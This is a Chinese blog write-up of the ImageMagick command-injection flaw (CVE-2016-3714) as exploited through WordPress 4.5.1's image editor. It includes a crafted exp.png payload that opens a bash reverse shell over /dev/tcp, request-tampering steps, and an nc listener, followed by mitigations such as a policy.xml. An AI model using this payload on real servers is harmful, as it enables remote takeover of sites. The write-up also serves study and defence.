【Web渗透】WordPress4.5.1远程命令执行漏洞

一首歌形容此时心情。。

前言

做题的时候搜到的ImageMagick的这个漏洞,在WordPress上能够导致远程执行,感觉很有趣~就自己参考着菊苣们的文章搭建环境测试了一下~

漏洞描述

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。具体的分析已经在乌云(CVE-2016-3714 - ImageMagick 命令执行分析)上爆出来了,这里挂了我乌云知识库的链接,想了解详情的可以点进来~这里引用ricterz大佬的简要分析:“ImageMagick 在 MagickCore/constitute.c 的 ReadImage 函数中解析图片,如果图片地址是 https:// 开头的,即调用 InvokeDelegate。MagickCore/delegate.c 定义了委托,第 99 行定义了要执行的命令。最终 InvokeDelegate 调用 ExternalDelegateCommand 执行命令。”也就是说,ImageMagick 在通过 MagickCore/constitute.c 的 ReadImage 函数中解析图片时,使用 system() 指令调用来处理 HTTPS 请求,而对用户传入的 shell 参数没有做好过滤,导致此漏洞形成。

这个漏洞影响 ImageMagick 6.9.3-9 以前是所有版本,包括 ubuntu 源中安装的 ImageMagick。而官方在 6.9.3-9 版本中对此漏洞没有进行完全的修复

漏洞利用

利用条件

想利用这个漏洞,首先需要服务器安装php的imageick的扩展和imagemagick扩展(注意版本),然后需要有一个最先权限为author的账户(这点比较蛋疼

利用方法

登录账号,发表一篇文章。需要添加媒体,通过编辑图片来触发这个漏洞。这里我们要准备好一个正常图片和一个exp.png,exp.png内容如下:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/127.0.0.1/2333 0>&1")'
pop graphic-context

其中127.0.0.1为反弹到监听端口的服务器,监听端口为2333,这里的IP可以自己换。然后上传图片,

编辑正常图片,edit origin,通过控制台获得正常图片的curl,在上面右键Copy as cURL

然后同样的步骤编辑exp.png,由于exp.png不是正常的图片,所以这里就只能拿到exp.png的 _ajax_nonce 和post_id去替换正常图片的处理ImageMagick的链接中的_ajax_nonce 和post_id,进而触发imagemagick的这个漏洞。

替换

回车,

然后,在监听服务器上对2333端口监听,

1
nc -vv -l -p 2333

即可得到反弹的shell~

BUT~

由于自己折腾搭建的环境,用的WordPress-4.5.1和imagemagick-6.7.6-9,前后折腾了将近三天时间,本地和服务器都尝试了,但不知道什么原因,一直没有成功反弹shell。。。。(相当蛋疼)希望尝试成功的表哥可以和我交流一下经验,小弟不胜感激!!

漏洞修复

这里直接引用phith0n师傅的了~
关于这个漏洞影响ImageMagick 6.9.3-9以前是所有版本,包括ubuntu源中安装的ImageMagick。而官方在6.9.3-9版本中对漏洞进行了不完全的修复。所以,我们不能仅通过更新ImageMagick的版本来杜绝这个漏洞。

现在,我们可以通过如下两个方法来暂时规避漏洞:

处理图片前,先检查图片的 “magic bytes”,也就是图片头,如果图片头不是你想要的格式,那么就不调用ImageMagick处理图片。如果你是php用户,可以使用getimagesize函数来检查图片格式,而如果你是wordpress等web应用的使用者,可以暂时卸载ImageMagick,使用php自带的gd库来处理图片。
使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作:

1
2
3
4
5
6
7
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>

感谢及参考

感谢phith0n师傅ricterz师傅spoock师傅
Write Up: Remote Command Execute in Wordpress 4.5.1
ImageMagick漏洞在Wordpress4.5.1上面的利用
CVE-2016-3714 - ImageMagick 命令执行分析


声明:
文章标题:【Web渗透】WordPress4.5.1远程命令执行漏洞
文章作者:RookieHacker
文章链接:http://rookiehacker.coding.me/blog/2017/02/15/wp-rce-im/
文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。


喜欢,就支持我一下吧~